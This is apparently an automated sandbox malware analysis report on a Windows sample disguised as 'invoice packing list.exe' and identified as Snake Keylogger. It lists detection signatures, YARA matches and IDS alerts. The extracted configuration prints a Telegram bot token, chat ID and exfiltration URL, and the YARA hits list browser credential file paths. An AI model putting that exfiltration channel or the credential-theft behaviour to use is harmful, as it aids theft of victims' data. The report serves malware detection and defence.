Edit tour

Windows Analysis Report
invoice packing list.exe

Overview

General Information

Sample name:	invoice packing list.exe
Analysis ID:	1618382
MD5:	20a391888281aae1523bcf182c1cb4e9
SHA1:	587eea4c6fc96e91f316c60f31710071764440fa
SHA256:	16ac39458488454a5d43d2f0d250fe014bf22ab1542ee6cbd10c6f69ab8d91d8
Tags:	exeuser-abuse_ch
Infos:

Detection

Snake Keylogger

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected Snake Keylogger

Yara detected Telegram RAT

.NET source code contains potential unpacker

Contains functionality to log keystrokes (.Net Source)

Initial sample is a PE file and has a suspicious name

Joe Sandbox ML detected suspicious sample

Sample uses string decryption to hide its real strings

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara signature match

Classification

Process Tree

System is w10x64

invoice packing list.exe (PID: 3008 cmdline: "C:\Users\user\Desktop\invoice packing list.exe" MD5: 20A391888281AAE1523BCF182C1CB4E9)

invoice packing list.exe (PID: 6180 cmdline: "C:\Users\user\Desktop\invoice packing list.exe" MD5: 20A391888281AAE1523BCF182C1CB4E9)

invoice packing list.exe (PID: 6396 cmdline: "C:\Users\user\Desktop\invoice packing list.exe" MD5: 20A391888281AAE1523BCF182C1CB4E9)

invoice packing list.exe (PID: 3716 cmdline: "C:\Users\user\Desktop\invoice packing list.exe" MD5: 20A391888281AAE1523BCF182C1CB4E9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7572469755:AAHCBLe3bEv-r8VSlR3NztVSSHz6JBpCC7s/sendMessage"}

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Telegram URL": "https://api.telegram.org/bot7572469755:AAHCBLe3bEv-r8VSlR3NztVSSHz6JBpCC7s/sendMessage?chat_id=7207594974", "Token": "7572469755:AAHCBLe3bEv-r8VSlR3NztVSSHz6JBpCC7s", "Chat_id": "7207594974", "Version": "5.1"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.4490656225.000000000328E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000005.00000002.4490656225.0000000003199000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2043114351.0000000003869000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2043114351.0000000003869000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3351f:$a1: get_encryptedPassword 0x33803:$a2: get_encryptedUsername 0x3332b:$a3: get_timePasswordChanged 0x33426:$a4: get_passwordField 0x33535:$a5: set_encryptedPassword 0x34b6d:$a7: get_logins 0x34ad0:$a10: KeyLoggerEventArgs 0x3473b:$a11: KeyLoggerEventArgsEventHandler
00000000.00000002.2043114351.0000000003869000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x384ea:$x1: $%SMTPDV$ 0x36ebc:$x2: $#TheHashHere%& 0x38492:$x3: %FTPDV$ 0x36e5c:$x4: $%TelegramDv$ 0x3473b:$x5: KeyLoggerEventArgs 0x34ad0:$x5: KeyLoggerEventArgs 0x384b6:$m2: Clipboard Logs ID 0x386f4:$m2: Screenshot Logs ID 0x38804:$m2: keystroke Logs ID 0x38ade:$m3: SnakePW 0x386cc:$m4: \SnakeKeylogger\
00000005.00000002.4488887309.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000005.00000002.4488887309.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14297:$a1: get_encryptedPassword 0x1457b:$a2: get_encryptedUsername 0x140a3:$a3: get_timePasswordChanged 0x1419e:$a4: get_passwordField 0x142ad:$a5: set_encryptedPassword 0x158e5:$a7: get_logins 0x15848:$a10: KeyLoggerEventArgs 0x154b3:$a11: KeyLoggerEventArgsEventHandler
00000005.00000002.4488887309.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x19262:$x1: $%SMTPDV$ 0x17c34:$x2: $#TheHashHere%& 0x1920a:$x3: %FTPDV$ 0x17bd4:$x4: $%TelegramDv$ 0x154b3:$x5: KeyLoggerEventArgs 0x15848:$x5: KeyLoggerEventArgs 0x1922e:$m2: Clipboard Logs ID 0x1946c:$m2: Screenshot Logs ID 0x1957c:$m2: keystroke Logs ID 0x19856:$m3: SnakePW 0x19444:$m4: \SnakeKeylogger\
00000005.00000002.4490656225.0000000003228000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000005.00000002.4490656225.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2043114351.00000000040BE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2043114351.00000000040BE000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x27f9ff:$a1: get_encryptedPassword 0x29f81f:$a1: get_encryptedPassword 0x27fce3:$a2: get_encryptedUsername 0x29fb03:$a2: get_encryptedUsername 0x27f80b:$a3: get_timePasswordChanged 0x29f62b:$a3: get_timePasswordChanged 0x27f906:$a4: get_passwordField 0x29f726:$a4: get_passwordField 0x27fa15:$a5: set_encryptedPassword 0x29f835:$a5: set_encryptedPassword 0x28104d:$a7: get_logins 0x2a0e6d:$a7: get_logins 0x280fb0:$a10: KeyLoggerEventArgs 0x2a0dd0:$a10: KeyLoggerEventArgs 0x280c1b:$a11: KeyLoggerEventArgsEventHandler 0x2a0a3b:$a11: KeyLoggerEventArgsEventHandler
00000000.00000002.2043114351.00000000040BE000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x2849ca:$x1: $%SMTPDV$ 0x2a47ea:$x1: $%SMTPDV$ 0x28339c:$x2: $#TheHashHere%& 0x2a31bc:$x2: $#TheHashHere%& 0x284972:$x3: %FTPDV$ 0x2a4792:$x3: %FTPDV$ 0x28333c:$x4: $%TelegramDv$ 0x2a315c:$x4: $%TelegramDv$ 0x280c1b:$x5: KeyLoggerEventArgs 0x280fb0:$x5: KeyLoggerEventArgs 0x2a0a3b:$x5: KeyLoggerEventArgs 0x2a0dd0:$x5: KeyLoggerEventArgs 0x284996:$m2: Clipboard Logs ID 0x284bd4:$m2: Screenshot Logs ID 0x284ce4:$m2: keystroke Logs ID 0x2a47b6:$m2: Clipboard Logs ID 0x2a49f4:$m2: Screenshot Logs ID 0x2a4b04:$m2: keystroke Logs ID 0x284fbe:$m3: SnakePW 0x2a4dde:$m3: SnakePW 0x284bac:$m4: \SnakeKeylogger\
Process Memory Space: invoice packing list.exe PID: 3008	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: invoice packing list.exe PID: 3008	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: invoice packing list.exe PID: 3008	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14cc3:$a1: get_encryptedPassword 0xbb0e6:$a1: get_encryptedPassword 0x14f9d:$a2: get_encryptedUsername 0xbb2d3:$a2: get_encryptedUsername 0x14ad9:$a3: get_timePasswordChanged 0xbaf0f:$a3: get_timePasswordChanged 0x14bd4:$a4: get_passwordField 0xbaffe:$a4: get_passwordField 0x14cd9:$a5: set_encryptedPassword 0xbb0fc:$a5: set_encryptedPassword 0x1718b:$a7: get_logins 0xbd02e:$a7: get_logins 0x170ee:$a10: KeyLoggerEventArgs 0xbcfa6:$a10: KeyLoggerEventArgs 0x16d59:$a11: KeyLoggerEventArgsEventHandler 0xbcd31:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: invoice packing list.exe PID: 3008	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x16d59:$x5: KeyLoggerEventArgs 0x170ee:$x5: KeyLoggerEventArgs 0x179f5:$x5: KeyLoggerEventArgs 0x17d56:$x5: KeyLoggerEventArgs 0xbcd31:$x5: KeyLoggerEventArgs 0xbcfa6:$x5: KeyLoggerEventArgs 0xbd7cb:$x5: KeyLoggerEventArgs 0xbdb2c:$x5: KeyLoggerEventArgs 0x19322:$m2: Clipboard Logs ID 0x19428:$m2: Screenshot Logs ID 0x1947e:$m2: keystroke Logs ID 0xbf0a9:$m2: Clipboard Logs ID 0xbf1af:$m2: Screenshot Logs ID 0xbf205:$m2: keystroke Logs ID 0x195b3:$m3: SnakePW 0xbf33a:$m3: SnakePW 0x19414:$m4: \SnakeKeylogger\ 0xbf19b:$m4: \SnakeKeylogger\
Process Memory Space: invoice packing list.exe PID: 3716	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: invoice packing list.exe PID: 3716	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: invoice packing list.exe PID: 3716	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x5c41d:$a1: get_encryptedPassword 0x5c6f7:$a2: get_encryptedUsername 0x5c233:$a3: get_timePasswordChanged 0x5c32e:$a4: get_passwordField 0x5c433:$a5: set_encryptedPassword 0x5e8e5:$a7: get_logins 0x5e848:$a10: KeyLoggerEventArgs 0x5e4b3:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: invoice packing list.exe PID: 3716	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x5e4b3:$x5: KeyLoggerEventArgs 0x5e848:$x5: KeyLoggerEventArgs 0x5f14f:$x5: KeyLoggerEventArgs 0x5f4b0:$x5: KeyLoggerEventArgs 0x60a7c:$m2: Clipboard Logs ID 0x60b82:$m2: Screenshot Logs ID 0x60bd8:$m2: keystroke Logs ID 0x13eb:$m3: SnakePW 0x180b:$m3: SnakePW 0x1ad9:$m3: SnakePW 0x5a8d4:$m3: SnakePW 0x60d0d:$m3: SnakePW 0x60b6e:$m4: \SnakeKeylogger\
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.invoice packing list.exe.400000.0.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
5.2.invoice packing list.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14497:$a1: get_encryptedPassword 0x1477b:$a2: get_encryptedUsername 0x142a3:$a3: get_timePasswordChanged 0x1439e:$a4: get_passwordField 0x144ad:$a5: set_encryptedPassword 0x15ae5:$a7: get_logins 0x15a48:$a10: KeyLoggerEventArgs 0x156b3:$a11: KeyLoggerEventArgsEventHandler
5.2.invoice packing list.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1be50:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b082:$a3: \Google\Chrome\User Data\Default\Login Data 0x1b4b5:$a4: \Orbitum\User Data\Default\Login Data 0x1c4f4:$a5: \Kometa\User Data\Default\Login Data
5.2.invoice packing list.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1503a:$s1: UnHook 0x15041:$s2: SetHook 0x15049:$s3: CallNextHook 0x15056:$s4: _hook
5.2.invoice packing list.exe.400000.0.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x19462:$x1: $%SMTPDV$ 0x17e34:$x2: $#TheHashHere%& 0x1940a:$x3: %FTPDV$ 0x17dd4:$x4: $%TelegramDv$ 0x156b3:$x5: KeyLoggerEventArgs 0x15a48:$x5: KeyLoggerEventArgs 0x1942e:$m2: Clipboard Logs ID 0x1966c:$m2: Screenshot Logs ID 0x1977c:$m2: keystroke Logs ID 0x19a56:$m3: SnakePW 0x19644:$m4: \SnakeKeylogger\
0.2.invoice packing list.exe.4329568.4.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.invoice packing list.exe.4329568.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12697:$a1: get_encryptedPassword 0x1297b:$a2: get_encryptedUsername 0x124a3:$a3: get_timePasswordChanged 0x1259e:$a4: get_passwordField 0x126ad:$a5: set_encryptedPassword 0x13ce5:$a7: get_logins 0x13c48:$a10: KeyLoggerEventArgs 0x138b3:$a11: KeyLoggerEventArgsEventHandler
0.2.invoice packing list.exe.4329568.4.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1a050:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x19282:$a3: \Google\Chrome\User Data\Default\Login Data 0x196b5:$a4: \Orbitum\User Data\Default\Login Data 0x1a6f4:$a5: \Kometa\User Data\Default\Login Data
0.2.invoice packing list.exe.4329568.4.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1323a:$s1: UnHook 0x13241:$s2: SetHook 0x13249:$s3: CallNextHook 0x13256:$s4: _hook
0.2.invoice packing list.exe.4329568.4.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x17662:$x1: $%SMTPDV$ 0x16034:$x2: $#TheHashHere%& 0x1760a:$x3: %FTPDV$ 0x15fd4:$x4: $%TelegramDv$ 0x138b3:$x5: KeyLoggerEventArgs 0x13c48:$x5: KeyLoggerEventArgs 0x1762e:$m2: Clipboard Logs ID 0x1786c:$m2: Screenshot Logs ID 0x1797c:$m2: keystroke Logs ID 0x17c56:$m3: SnakePW 0x17844:$m4: \SnakeKeylogger\
0.2.invoice packing list.exe.3888088.2.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.invoice packing list.exe.3888088.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12697:$a1: get_encryptedPassword 0x1297b:$a2: get_encryptedUsername 0x124a3:$a3: get_timePasswordChanged 0x1259e:$a4: get_passwordField 0x126ad:$a5: set_encryptedPassword 0x13ce5:$a7: get_logins 0x13c48:$a10: KeyLoggerEventArgs 0x138b3:$a11: KeyLoggerEventArgsEventHandler
0.2.invoice packing list.exe.3888088.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1a050:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x19282:$a3: \Google\Chrome\User Data\Default\Login Data 0x196b5:$a4: \Orbitum\User Data\Default\Login Data 0x1a6f4:$a5: \Kometa\User Data\Default\Login Data
0.2.invoice packing list.exe.3888088.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1323a:$s1: UnHook 0x13241:$s2: SetHook 0x13249:$s3: CallNextHook 0x13256:$s4: _hook
0.2.invoice packing list.exe.3888088.2.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x17662:$x1: $%SMTPDV$ 0x16034:$x2: $#TheHashHere%& 0x1760a:$x3: %FTPDV$ 0x15fd4:$x4: $%TelegramDv$ 0x138b3:$x5: KeyLoggerEventArgs 0x13c48:$x5: KeyLoggerEventArgs 0x1762e:$m2: Clipboard Logs ID 0x1786c:$m2: Screenshot Logs ID 0x1797c:$m2: keystroke Logs ID 0x17c56:$m3: SnakePW 0x17844:$m4: \SnakeKeylogger\
0.2.invoice packing list.exe.3888088.2.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.invoice packing list.exe.3888088.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14497:$a1: get_encryptedPassword 0x1477b:$a2: get_encryptedUsername 0x142a3:$a3: get_timePasswordChanged 0x1439e:$a4: get_passwordField 0x144ad:$a5: set_encryptedPassword 0x15ae5:$a7: get_logins 0x15a48:$a10: KeyLoggerEventArgs 0x156b3:$a11: KeyLoggerEventArgsEventHandler
0.2.invoice packing list.exe.3888088.2.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1be50:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b082:$a3: \Google\Chrome\User Data\Default\Login Data 0x1b4b5:$a4: \Orbitum\User Data\Default\Login Data 0x1c4f4:$a5: \Kometa\User Data\Default\Login Data
0.2.invoice packing list.exe.3888088.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1503a:$s1: UnHook 0x15041:$s2: SetHook 0x15049:$s3: CallNextHook 0x15056:$s4: _hook
0.2.invoice packing list.exe.3888088.2.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x19462:$x1: $%SMTPDV$ 0x17e34:$x2: $#TheHashHere%& 0x1940a:$x3: %FTPDV$ 0x17dd4:$x4: $%TelegramDv$ 0x156b3:$x5: KeyLoggerEventArgs 0x15a48:$x5: KeyLoggerEventArgs 0x1942e:$m2: Clipboard Logs ID 0x1966c:$m2: Screenshot Logs ID 0x1977c:$m2: keystroke Logs ID 0x19a56:$m3: SnakePW 0x19644:$m4: \SnakeKeylogger\
0.2.invoice packing list.exe.4329568.4.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.invoice packing list.exe.4260d28.5.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.invoice packing list.exe.4260d28.5.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xdccd7:$a1: get_encryptedPassword 0xfcaf7:$a1: get_encryptedPassword 0xdcfbb:$a2: get_encryptedUsername 0xfcddb:$a2: get_encryptedUsername 0xdcae3:$a3: get_timePasswordChanged 0xfc903:$a3: get_timePasswordChanged 0xdcbde:$a4: get_passwordField 0xfc9fe:$a4: get_passwordField 0xdcced:$a5: set_encryptedPassword 0xfcb0d:$a5: set_encryptedPassword 0xde325:$a7: get_logins 0xfe145:$a7: get_logins 0xde288:$a10: KeyLoggerEventArgs 0xfe0a8:$a10: KeyLoggerEventArgs 0xddef3:$a11: KeyLoggerEventArgsEventHandler 0xfdd13:$a11: KeyLoggerEventArgsEventHandler
0.2.invoice packing list.exe.4329568.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14497:$a1: get_encryptedPassword 0x342b7:$a1: get_encryptedPassword 0x1477b:$a2: get_encryptedUsername 0x3459b:$a2: get_encryptedUsername 0x142a3:$a3: get_timePasswordChanged 0x340c3:$a3: get_timePasswordChanged 0x1439e:$a4: get_passwordField 0x341be:$a4: get_passwordField 0x144ad:$a5: set_encryptedPassword 0x342cd:$a5: set_encryptedPassword 0x15ae5:$a7: get_logins 0x35905:$a7: get_logins 0x15a48:$a10: KeyLoggerEventArgs 0x35868:$a10: KeyLoggerEventArgs 0x156b3:$a11: KeyLoggerEventArgsEventHandler 0x354d3:$a11: KeyLoggerEventArgsEventHandler
0.2.invoice packing list.exe.4260d28.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0xdd87a:$s1: UnHook 0xfd69a:$s1: UnHook 0xdd881:$s2: SetHook 0xfd6a1:$s2: SetHook 0xdd889:$s3: CallNextHook 0xfd6a9:$s3: CallNextHook 0xdd896:$s4: _hook 0xfd6b6:$s4: _hook
0.2.invoice packing list.exe.4260d28.5.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xe1ca2:$x1: $%SMTPDV$ 0x101ac2:$x1: $%SMTPDV$ 0xe0674:$x2: $#TheHashHere%& 0x100494:$x2: $#TheHashHere%& 0xe1c4a:$x3: %FTPDV$ 0x101a6a:$x3: %FTPDV$ 0xe0614:$x4: $%TelegramDv$ 0x100434:$x4: $%TelegramDv$ 0xddef3:$x5: KeyLoggerEventArgs 0xde288:$x5: KeyLoggerEventArgs 0xfdd13:$x5: KeyLoggerEventArgs 0xfe0a8:$x5: KeyLoggerEventArgs 0xe1c6e:$m2: Clipboard Logs ID 0xe1eac:$m2: Screenshot Logs ID 0xe1fbc:$m2: keystroke Logs ID 0x101a8e:$m2: Clipboard Logs ID 0x101ccc:$m2: Screenshot Logs ID 0x101ddc:$m2: keystroke Logs ID 0xe2296:$m3: SnakePW 0x1020b6:$m3: SnakePW 0xe1e84:$m4: \SnakeKeylogger\
0.2.invoice packing list.exe.4329568.4.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1be50:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3bc70:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b082:$a3: \Google\Chrome\User Data\Default\Login Data 0x3aea2:$a3: \Google\Chrome\User Data\Default\Login Data 0x1b4b5:$a4: \Orbitum\User Data\Default\Login Data 0x3b2d5:$a4: \Orbitum\User Data\Default\Login Data 0x1c4f4:$a5: \Kometa\User Data\Default\Login Data 0x3c314:$a5: \Kometa\User Data\Default\Login Data
0.2.invoice packing list.exe.4329568.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1503a:$s1: UnHook 0x34e5a:$s1: UnHook 0x15041:$s2: SetHook 0x34e61:$s2: SetHook 0x15049:$s3: CallNextHook 0x34e69:$s3: CallNextHook 0x15056:$s4: _hook 0x34e76:$s4: _hook
0.2.invoice packing list.exe.4329568.4.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x19462:$x1: $%SMTPDV$ 0x39282:$x1: $%SMTPDV$ 0x17e34:$x2: $#TheHashHere%& 0x37c54:$x2: $#TheHashHere%& 0x1940a:$x3: %FTPDV$ 0x3922a:$x3: %FTPDV$ 0x17dd4:$x4: $%TelegramDv$ 0x37bf4:$x4: $%TelegramDv$ 0x156b3:$x5: KeyLoggerEventArgs 0x15a48:$x5: KeyLoggerEventArgs 0x354d3:$x5: KeyLoggerEventArgs 0x35868:$x5: KeyLoggerEventArgs 0x1942e:$m2: Clipboard Logs ID 0x1966c:$m2: Screenshot Logs ID 0x1977c:$m2: keystroke Logs ID 0x3924e:$m2: Clipboard Logs ID 0x3948c:$m2: Screenshot Logs ID 0x3959c:$m2: keystroke Logs ID 0x19a56:$m3: SnakePW 0x39876:$m3: SnakePW 0x19644:$m4: \SnakeKeylogger\
0.2.invoice packing list.exe.42c5148.3.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.invoice packing list.exe.42c5148.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x788b7:$a1: get_encryptedPassword 0x986d7:$a1: get_encryptedPassword 0x78b9b:$a2: get_encryptedUsername 0x989bb:$a2: get_encryptedUsername 0x786c3:$a3: get_timePasswordChanged 0x984e3:$a3: get_timePasswordChanged 0x787be:$a4: get_passwordField 0x985de:$a4: get_passwordField 0x788cd:$a5: set_encryptedPassword 0x986ed:$a5: set_encryptedPassword 0x79f05:$a7: get_logins 0x99d25:$a7: get_logins 0x79e68:$a10: KeyLoggerEventArgs 0x99c88:$a10: KeyLoggerEventArgs 0x79ad3:$a11: KeyLoggerEventArgsEventHandler 0x998f3:$a11: KeyLoggerEventArgsEventHandler
0.2.invoice packing list.exe.42c5148.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x80270:$a2: \Comodo\Dragon\User Data\Default\Login Data 0xa0090:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x7f4a2:$a3: \Google\Chrome\User Data\Default\Login Data 0x9f2c2:$a3: \Google\Chrome\User Data\Default\Login Data 0x7f8d5:$a4: \Orbitum\User Data\Default\Login Data 0x9f6f5:$a4: \Orbitum\User Data\Default\Login Data 0x80914:$a5: \Kometa\User Data\Default\Login Data 0xa0734:$a5: \Kometa\User Data\Default\Login Data
0.2.invoice packing list.exe.42c5148.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x7945a:$s1: UnHook 0x9927a:$s1: UnHook 0x79461:$s2: SetHook 0x99281:$s2: SetHook 0x79469:$s3: CallNextHook 0x99289:$s3: CallNextHook 0x79476:$s4: _hook 0x99296:$s4: _hook
0.2.invoice packing list.exe.42c5148.3.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x7d882:$x1: $%SMTPDV$ 0x9d6a2:$x1: $%SMTPDV$ 0x7c254:$x2: $#TheHashHere%& 0x9c074:$x2: $#TheHashHere%& 0x7d82a:$x3: %FTPDV$ 0x9d64a:$x3: %FTPDV$ 0x7c1f4:$x4: $%TelegramDv$ 0x9c014:$x4: $%TelegramDv$ 0x79ad3:$x5: KeyLoggerEventArgs 0x79e68:$x5: KeyLoggerEventArgs 0x998f3:$x5: KeyLoggerEventArgs 0x99c88:$x5: KeyLoggerEventArgs 0x7d84e:$m2: Clipboard Logs ID 0x7da8c:$m2: Screenshot Logs ID 0x7db9c:$m2: keystroke Logs ID 0x9d66e:$m2: Clipboard Logs ID 0x9d8ac:$m2: Screenshot Logs ID 0x9d9bc:$m2: keystroke Logs ID 0x7de76:$m3: SnakePW 0x9dc96:$m3: SnakePW 0x7da64:$m4: \SnakeKeylogger\
Click to see the 29 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-18T20:22:49.306309+0100	2803305	3	Unknown Traffic	192.168.2.5	49709	104.21.16.1	443	TCP
2025-02-18T20:22:50.565337+0100	2803305	3	Unknown Traffic	192.168.2.5	49711	104.21.16.1	443	TCP
2025-02-18T20:22:51.870358+0100	2803305	3	Unknown Traffic	192.168.2.5	49714	104.21.16.1	443	TCP
2025-02-18T20:22:53.237725+0100	2803305	3	Unknown Traffic	192.168.2.5	49717	104.21.16.1	443	TCP
2025-02-18T20:22:55.789667+0100	2803305	3	Unknown Traffic	192.168.2.5	49721	104.21.16.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-18T20:22:47.297829+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49706	193.122.6.168	80	TCP
2025-02-18T20:22:48.453996+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49706	193.122.6.168	80	TCP
2025-02-18T20:22:50.001024+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49710	193.122.6.168	80	TCP
2025-02-18T20:22:51.250868+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49713	193.122.6.168	80	TCP

ETPRO MALWARE Snake Keylogger Telegram Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-18T20:23:03.218300+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49725	149.154.167.220	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-18T20:23:03.043523+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	49725	149.154.167.220	443	TCP

